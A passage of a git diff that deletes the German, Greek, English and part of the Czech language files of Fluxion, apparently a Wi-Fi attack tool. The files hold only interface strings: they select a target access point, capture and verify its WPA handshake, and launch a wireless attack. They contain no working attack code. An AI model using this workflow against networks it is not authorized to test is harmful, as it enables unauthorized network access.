(ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." -FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" -FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash file does not exist!" -FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" -FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolute path" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Vyberte kanál" -FLUXIONScannerChannelOptionAll="Všechny kanály" -FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Jeden kanál" -FLUXIONScannerChannelMiltipleTip="Více kanálů" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="Sledování WIFI" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Select a method to retrieve the handshake" -FLUXIONHashSourcePathOption="Path to capture file" -FLUXIONHashSourceRescanOption="Handshake directory (rescan)" -FLUXIONFoundHashNotice="A hash for the target AP was found." -FLUXIONUseFoundHashQuery="Do you want to use this file?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Select a wireless attack for the access point" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." -FLUXIONSelectAnotherAttackOption="Select another attack" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Zpět" -FLUXIONGeneralExitOption="${CRed}Exit" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Nenalezeno" -FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Čištění a zavírání" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Vypínání monitorovacího rozhraní" -FLUXIONDisablingExtraInterfacesNotice="Vypínání rozhraní" -FLUXIONDisablingPacketForwardingNotice="Vypínání ${CGry}směrování packetů" -FLUXIONDisablingCleaningIPTablesNotice="Čištění ${CGry}iptables" -FLUXIONRestoringTputNotice="Obnovování ${CGry}tput" -FLUXIONDeletingFilesNotice="Deleting ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Restartování ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Vyčištění proběhlo úspěšně!" -FLUXIONThanksSupportersNotice="Děkujeme pro používání programu fluxion" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/de.sh b/fluxion_origins/language/de.sh deleted file mode 100755 index 788270c..0000000 --- a/fluxion_origins/language/de.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# German -# native: Deutsch - -FLUXIONInterfaceQuery="Wähle Sie ihre Netzwerkkarte aus" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Wiederherstellen von allen Netzwerkkarten..." -#FLUXIONFindingExtraWINotice="Suche nach Netzwerkkarten..." -FLUXIONRemovingExtraWINotice="Entferne Netzwerkkarten..." -FLUXIONFindingWINotice="Suche nach Netzwerkkarten..." -FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in Benutzung" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Sammeln von Daten, von allen Netzwerken..." -FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden" -FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$interface\"..." -FLUXIONLoadingWIDriverNotice="Warte auf Treiberantwort \"\$interface\"..." -FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..." -FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden" -FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im sogenannten Monitor Mode" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Starte Netzwerkscanner" -FLUXIONStartingScannerTip="Wenn nach etwa 30 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner (ctrl+c)" -FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..." -FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )" -FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash Datei existiert nicht" -FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash" -FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert" -FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Geben sie den absoluten Pfad ein" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Wähle deinen Netzwerkfrequenz aus" -FLUXIONScannerChannelOptionAll="Alle Netzwerkfrequenzen" -FLUXIONScannerChannelOptionSpecific="Spezifische Frequenz(en)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Einzelne Frequenz" -FLUXIONScannerChannelMiltipleTip="Mehrere Frequenzen" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="FLUXION Scanner" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen" -FLUXIONHashSourcePathOption="Handshake Pfad eingeben" -FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen" -FLUXIONFoundHashNotice="Ein Hash wurde für das Netzwerk gefunden" -FLUXIONUseFoundHashQuery="Möchten Sie dieses Netzwerk nutzen?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu verifizieren" -FLUXIONHashVerificationMethodPyritOption="Pyrit verifizierung" -FLUXIONHashVerificationMethodAircrackOption="Aircrack verfizierung (${CYel}Nicht empfohlen$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="Cowpatty verfizierung (${CGrn}Empfohlen$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr Angriff gestartet" -FLUXIONSelectAnotherAttackOption="Wählen Sie einen anderen Angriff" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Zurück" -FLUXIONGeneralExitOption="${CRed}Ausgang" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Nicht gefunden" -FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Aufräumen und schließen" -FLUXIONKillingProcessNotice="Beende ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte" -FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte" -FLUXIONDisablingPacketForwardingNotice="Deaktivierung ${CGry}von der Weiterleitung von Paketen" -FLUXIONDisablingCleaningIPTablesNotice="Säubere ${CGry}iptables" -FLUXIONRestoringTputNotice="Wiederherstellung von ${CGry}tput" -FLUXIONDeletingFilesNotice="Löschen ${CGry}von Daten" -FLUXIONRestartingNetworkManagerNotice="Neustarten des ${CGry}Netzwerk Manager" -FLUXIONCleanupSuccessNotice="Wiederherstellung war erfolgreich" -FLUXIONThanksSupportersNotice="Vielen Dank für die Nutzung von FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/el.sh b/fluxion_origins/language/el.sh deleted file mode 100755 index abd0b3d..0000000 --- a/fluxion_origins/language/el.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Greek -# native: Ελληνικά - -FLUXIONInterfaceQuery="Επιλέξτε μία διεπαφή" -FLUXIONAllocatingInterfaceNotice="Δέσμευση interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Αποδέσμευση interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Επιτυχής δέσμευση interface!" -FLUXIONInterfaceAllocationFailedError="${CRed}Ανεπιτυχής δέσμευση interface!" -FLUXIONReidentifyingInterface="Μετονομασία interface." -FLUXIONUnblockingWINotice="Απεμπλοκή όλων των ασύρματων interfaces..." -#FLUXIONFindingExtraWINotice="Έλεγχος για εξωτερικές ασύρματες διεπαφές,.." -FLUXIONRemovingExtraWINotice="Αφαίρεση εξωτερικων ασύρματων interfaces..." -FLUXIONFindingWINotice="Έλεγχος για διαθέσιμα ασύρματα interfaces..." -FLUXIONSelectedBusyWIError="Το επιλεγμένο ασύρματο interface φαίνεται να χρησιμοποιείται αυτή τη στιγμή!" -FLUXIONSelectedBusyWITip="Αυτό συνήθως προκαλείται λόγω του ότι το interface χρησιμοποιείται από τον network manager. Σας προτείνουμε να$CGrn σταματήσετε τον network manager$CClr ή να τον ρυθμίσετε να αγνοεί το συγκεκριμένο interface. Διαφορετικά, εκτελέστε \"export FLUXIONWIKillProcesses=1\" πριν από το fluxion για να τον τερματίσετε αλλά σας προτείνουμε$CRed να το αποφύγετε${CClr}." -FLUXIONGatheringWIInfoNotice="Συγκέντρωση πληροφοριών interface..." -FLUXIONUnknownWIDriverError="Δεν είναι δυνατός ο προσδιορισμός του driver του interface!" -FLUXIONUnloadingWIDriverNotice="Αναμονή για να απενεργοποιηθεί το \"\$interface\"..." -FLUXIONLoadingWIDriverNotice="Αναμονή φόρτωσης του \"\$interface\"..." -FLUXIONFindingConflictingProcessesNotice="Έλεγχος για υπηρεσίες που προκαλούν προβλήματα..." -FLUXIONKillingConflictingProcessesNotice="Απενεργοποιηση υπηρεσιών που προκαλούν προβλήματα ..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Δεν είναι δυνατός ο προσδιορισμός της φυσικής συσκευής της διασύνδεσης!" -FLUXIONStartingWIMonitorNotice="Έναρξη του interface παρακολούθησης (monitor)..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Επιλέξτε ένα ασύρματο interface για αναζήτηση στόχων." -FLUXIONTargetTrackerInterfaceQuery="Επιλέξτε ένα ασύρματο interface για παρακολούθηση στόχων." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Αποφύγετε να επιλέξετε οποιοδήποτε virtual interface.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Το ESSID, το BSSID, ή οι πληροφορίες του καναλιού λείπουν!" -FLUXIONTargettingAccessPointAboveNotice="Το Fluxion στοχεύει το παραπάνω access point." -FLUXIONContinueWithTargetQuery="Συνέχεια με αυτό το στόχο?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Ξεκινάω τον σαρωτή, παρακαλώ περιμένετε..." -FLUXIONStartingScannerTip="Πέντε δευτερόλεπτα μετά την εμφάνιση του ασυρματου δικτυου που θελετε να κανετε επιθεση, κλείστε τον σαρωτή FLUXION (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Σύνθεση αποτελεσμάτων σάρωσης, παρακαλώ περιμένετε..." -FLUXIONScannerFailedNotice="Η ασύρματη κάρτα ενδέχεται να μην υποστηρίζεται(δεν βρέθηκαν ασυρματα δικτυα)" -FLUXIONScannerDetectedNothingNotice="Δεν εντοπίστηκαν ασυρματα δικτυα, επιστρέφω..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Το αρχείο Hash δεν υπάρχει!" -FLUXIONHashInvalidError="${CRed}Σφάλμα$CClr, μη έγκυρο αρχείο hash!" -FLUXIONHashValidNotice="${CGrn}Επιτυχία$CClr, η εξακρίβωση του Hash ολοκληρώθηκε!" -FLUXIONPathToHandshakeFileQuery="Εισαγάγετε τη διαδρομή για το αρχείο Handshake$CClr (Παράδειγμα:/.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Εισαγετε διαδρομή αρχειου" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, η διαδρομή δεν είναι έγκυρη." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Επίλεξτε κανάλι" -FLUXIONScannerChannelOptionAll="Όλα τα κανάλια" -FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Ενα κανάλι" -FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="Εποπτεία Wi-Fi" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Επιλέξτε μια μέθοδο για την ανάκτηση του Handshake" -FLUXIONHashSourcePathOption="Διαδρομή για καταγραφή αρχείου" -FLUXIONHashSourceRescanOption="Φακελος Handshake (επανελεγχος)" -FLUXIONFoundHashNotice="Έχει εντοπιστεί ένα hash για το στόχο." -FLUXIONUseFoundHashQuery="Θέλετε να χρησιμοποιήσετε αυτό το αρχείο;" -FLUXIONUseFoundHashOption="Χρήση του hash που βρέθηκε" -FLUXIONSpecifyHashPathOption="Καθορισμός διαδρομής για το hash" -FLUXIONHashVerificationMethodQuery="Επιλέξτε μια μέθοδο επαλήθευσης για το hash" -FLUXIONHashVerificationMethodPyritOption="επαλήθευση με pyrit" -FLUXIONHashVerificationMethodAircrackOption="επαληθευση με aircrack-ng (${CYel}αναξιόπιστη$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Καντε μια επιλογη" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr επιθεση σε εξελιξη..." -FLUXIONSelectAnotherAttackOption="Διαλεξτε μια αλλη επιθεση" -FLUXIONAttackResumeQuery="Αυτή η επίθεση έχει ήδη ρυθμιστεί." -FLUXIONAttackRestoreOption="Αποκατάσταση επίθεσης" -FLUXIONAttackResetOption="Επαναφορά επίθεσης" -FLUXIONAttackRestartOption="Επανεκκίνηση" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Παράλειψη" -FLUXIONGeneralBackOption="${CRed}Πίσω" -FLUXIONGeneralExitOption="${CRed}Εξοδος" -FLUXIONGeneralRepeatOption="${CRed}Επανάληψη" -FLUXIONGeneralNotFoundError="Δεν βρέθηκε" -FLUXIONGeneralXTermFailureError="${CRed}Προβλημα εναρξης xterm (πιθανη λανθασμενη ρυθμιση)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Καθάρισμα και τερματισμός" -FLUXIONKillingProcessNotice="τερματισμος ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Επαναφορα ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Απενεργοποίση εποπτείας περιβάλλοντος" -FLUXIONDisablingExtraInterfacesNotice="Απενεργοποίηση περιβάλλοντος" -FLUXIONDisablingPacketForwardingNotice="Απενεργοποίηση ${CGry}προώθησης των πακέτων" -FLUXIONDisablingCleaningIPTablesNotice="Καθαρισμός ${CGry}iptables" -FLUXIONRestoringTputNotice="Επαναφορά ${CGry}tput" -FLUXIONDeletingFilesNotice="Διαγραφη ${CGry}αρχειων" -FLUXIONRestartingNetworkManagerNotice="Επανεκκίνηση ${CGry}του Διαχειριστή δικτύου" -FLUXIONCleanupSuccessNotice="Ο Καθαρισμός εκτελέστηκε με επιτυχία!" -FLUXIONThanksSupportersNotice="Ευχαριστούμε που χρησιμοποιήσατε το fluxion" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END Zartaz edit :P diff --git a/fluxion_origins/language/en.sh b/fluxion_origins/language/en.sh deleted file mode 100755 index 02912c4..0000000 --- a/fluxion_origins/language/en.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# English -# native: English - -FLUXIONInterfaceQuery="Select a wireless interface" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Unblocking all wireless interfaces." -#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." -FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." -FLUXIONFindingWINotice="Looking for available wireless interfaces..." -FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Gathering interface information..." -FLUXIONUnknownWIDriverError="Unable to determine interface driver!" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." -FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="Starting monitor interface..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Starting scanner, please wait..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." -FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" -FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash file does not exist!" -FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" -FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /path/to/file.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolute path" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Select a channel to monitor" -FLUXIONScannerChannelOptionAll="All channels" -FLUXIONScannerChannelOptionSpecific="Specific channel(s)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Single channel" -FLUXIONScannerChannelMiltipleTip="Multiple channels" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="FLUXION Scanner" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Select a method to retrieve the handshake" -FLUXIONHashSourcePathOption="Path to capture file" -FLUXIONHashSourceRescanOption="Rescan handshake directory" -FLUXIONFoundHashNotice="A hash for the target AP was found." -FLUXIONUseFoundHashQuery="Do you want to use this file?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Select a wireless attack for the access point" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." -FLUXIONSelectAnotherAttackOption="Select another attack" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Back" -FLUXIONGeneralExitOption="${CRed}Exit" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Not Found" -FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Cleaning and closing" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Disabling monitoring interface" -FLUXIONDisablingExtraInterfacesNotice="Disabling extra interfaces" -FLUXIONDisablingPacketForwardingNotice="Disabling ${CGry}forwarding of packets" -FLUXIONDisablingCleaningIPTablesNotice="Cleaning ${CGry}iptables" -FLUXIONRestoringTputNotice="Restoring ${CGry}tput" -FLUXIONDeletingFilesNotice="Deleting ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Restarting ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Cleanup performed successfully!" 